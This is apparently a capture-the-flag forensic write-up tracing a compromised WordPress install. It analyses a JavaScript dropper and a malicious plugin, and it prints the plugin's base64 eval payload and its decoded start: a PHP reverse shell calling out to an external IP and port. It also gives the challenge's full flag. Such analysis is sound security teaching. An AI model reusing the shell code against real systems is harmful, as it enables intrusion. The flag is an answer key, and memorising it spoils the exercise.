Fake News
3 minutes to read
We are given a folder named html
with a lot files from a WordPress server:
$ ls
index.php wp-activate.php wp-blogs wp-config-sample.php wp-cron.php wp-load.php wp-settings.php xmlrpc.php
license.txt wp-admin wp-comments-post.php wp-config.php wp-includes wp-login.php wp-signup.php
readme.html wp-blog-header.php wp-config-docker.php wp-content wp-links-opml.php wp-mail.php wp-trackback.php
Basic inspection
Obviously, wp-blogs
stands out, so let’s examine files that are inside:
$ ls wp-blogs
2022
$ ls wp-blogs/2022/
11
$ ls wp-blogs/2022/11/
index.php style.css
$ du -h wp-blogs/2022/11/*
304K wp-blogs/2022/11/index.php
8.0K wp-blogs/2022/11/style.css
The file wp-blogs/2022/11/index.php
is suspicious because it is huge and has only 101 lines:
$ wc -l wp-blogs/2022/11/index.php
101 wp-blogs/2022/11/index.php
$ wc -c wp-blogs/2022/11/index.php
308232 wp-blogs/2022/11/index.php
The file is so big that I won’t display it here. It has a basic HTML document with an inline script
tag that loads a huge JavaScript code.
Analyzing JavaScript code
Maybe it is not the safest way, but it is fast. What I did was to take the PHP file and transform it to HTML. Then I started a local HTTP server and loaded the file in the browser. This is the result:
The JavaScript code is used to download a file named official_invitation.iso
automatically.
Just for curiosity, I deobfuscated the code a little and saw that it adds an event listener to detect the mouse movement. When this event happens, the code creates the official_invitation.iso
from raw bytes and downloads it.
ISO file inspection
The file official_invitation.iso
is actually an ISO disc image:
$ file official_invitation.iso
official_invitation.iso: ISO 9660 CD-ROM filesystem data ''
Running strings
on the file we can see what looks like part of the flag (_1t_w4s_t00_g00d_t0_b3_tru3}
):
$ strings official_invitation.iso | tail -100 | head -20
_X3HJR}4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_u0
3mqaRu2:
1_S10d
0of0
d_t8
wtr_
10_g
qa~t2:
r_d00_
]t*u3}@
s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g00d_t0_b3_tru3}part2:_1t_w4s_t00_g0T
Unknown error
Argument domain error (DOMAIN)
Overflow range error (OVERFLOW)
Partial loss of significance (PLOSS)
Total loss of significance (TLOSS)
The result is too small to be represented (UNDERFLOW)
Argument singularity (SIGN)
_matherr(): %s in %s(%g, %g) (retval=%g)
Mingw-w64 runtime failure:
If we mount the ISO file, we will find a file called official_invitation.exe
, which is a Windows PE. The only thing we can find here is the same part of the flag above, so nothing new.
Finding the first part of the flag
We can continue analyzing files from the WordPress server. One idea is to find those files that have been recently modified:
$ ls -l wp-blogs/2022/11/index.php
-rw-rw-rw- 1 rocky rocky 308232 Nov 24 16:28 wp-blogs/2022/11/index.php
$ find . -type f -newermt '2022-11-23'
./.htaccess
./wp-blogs/2022/11/index.html
./wp-blogs/2022/11/index.php
./wp-blogs/2022/11/style.css
./wp-config.php
./wp-content/plugins/plugin-manager/plugin-manager.php
./wp-content/plugins/plugin-manager/plugin.php
./wp-content/themes/maintheme/footer.php
./wp-content/themes/maintheme/header.php
./wp-content/themes/maintheme/index.php
./wp-content/themes/maintheme/sidebar.php
./wp-content/themes/maintheme/style.css
./wp-content/uploads/2022/11/academy-150x150.png
./wp-content/uploads/2022/11/academy-300x182.png
./wp-content/uploads/2022/11/academy-768x466.png
./wp-content/uploads/2022/11/academy.png
./wp-content/uploads/2022/11/dph-1024x1024.png
./wp-content/uploads/2022/11/dph-150x150.png
./wp-content/uploads/2022/11/dph-1536x1536.png
./wp-content/uploads/2022/11/dph-2048x2048.png
./wp-content/uploads/2022/11/dph-300x300.png
./wp-content/uploads/2022/11/dph-768x768.png
./wp-content/uploads/2022/11/dph.png
./wp-content/uploads/2022/11/shield-1024x1024.png
./wp-content/uploads/2022/11/shield-150x150.png
./wp-content/uploads/2022/11/shield-1536x1536.png
./wp-content/uploads/2022/11/shield-2048x2048.png
./wp-content/uploads/2022/11/shield-300x300.png
./wp-content/uploads/2022/11/shield-768x768.png
./wp-content/uploads/2022/11/shield.png
./wp-content/uploads/2022/11/swords-1024x1024.png
./wp-content/uploads/2022/11/swords-150x150.png
./wp-content/uploads/2022/11/swords-1536x1536.png
./wp-content/uploads/2022/11/swords-2048x2048.png
./wp-content/uploads/2022/11/swords-300x300.png
./wp-content/uploads/2022/11/swords-768x768.png
./wp-content/uploads/2022/11/swords.png
We can get rid of PNG files and the files at wp-blogs
:
$ find . -type f -newermt '2022-11-23' | grep -vE '.png|wp-blogs'
./.htaccess
./wp-config.php
./wp-content/plugins/plugin-manager/plugin-manager.php
./wp-content/plugins/plugin-manager/plugin.php
./wp-content/themes/maintheme/footer.php
./wp-content/themes/maintheme/header.php
./wp-content/themes/maintheme/index.php
./wp-content/themes/maintheme/sidebar.php
./wp-content/themes/maintheme/style.css
PHP file analysis
If we take a look at wp-content/plugins/plugin-manager/plugin-manager.php
, we will see a large Base64-encoded payload that is decoded and passed to eval
:
<?php
eval(base64_decode("c2V0X3RpbWVfbGltaXQgKDApOwokVkVSU0lPTiA9ICIxLjAiOwokaXAgPSAnNzcuNzQuMTk4LjUyJzsgIC8vIENIQU5HRSBUSElTCiRwb3J0ID0gNDQ0NDsgICAgICAgLy8gQ0hBTkdFIFRISVMKJGNodW5rX3NpemUgPSAxNDAwOwokd3JpdGVfYSA9IG51bGw7CiRlcnJvcl9hID0gbnVsbDsKJHBhcnQxID0gIkhUQntDMG0zXzBuIjsKJHNoZWxsID0gJ3VuYW1lIC1hOyB3OyBpZDsgL2Jpbi9zaCAtaSc7CiRkYWVtb24gPSAwOwokZGVidWcgPSAwOwoKLy8KLy8gRGFlbW9uaXNlIG91cnNlbGYgaWYg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pcGVzWzBdKTsKZmNsb3NlKCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKCi8vIExpa2UgcHJpbnQsIGJ1dCBkb2VzIG5vdGhpbmcgaWYgd2UndmUgZGFlbW9uaXNlZCBvdXJzZWxmCi8vIChJIGNhbid0IGZpZ3VyZSBvdXQgaG93IHRvIHJlZGlyZWN0IFNURE9VVCBsaWtlIGEgcHJvcGVyIGRhZW1vbikKZnVuY3Rpb24gcHJpbnRpdCAoJHN0cmluZykgewoJaWYgKCEkZGFlbW9uKSB7CgkJcHJpbnQgIiRzdHJpbmdcbiI7Cgl9Cn0 | base64 -d | head
set_time_limit (0);
$VERSION = "1.0";
$ip = '77.74.198.52'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$part1 = "HTB{C0m3_0n";
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
It is a common PHP reverse shell. But what’s more important, we have got the first part of the flag (HTB{C0m3_0n
).
Flag
Now, we only need to join both parts and we are done:
HTB{C0m3_0n_1t_w4s_t00_g00d_t0_b3_tru3}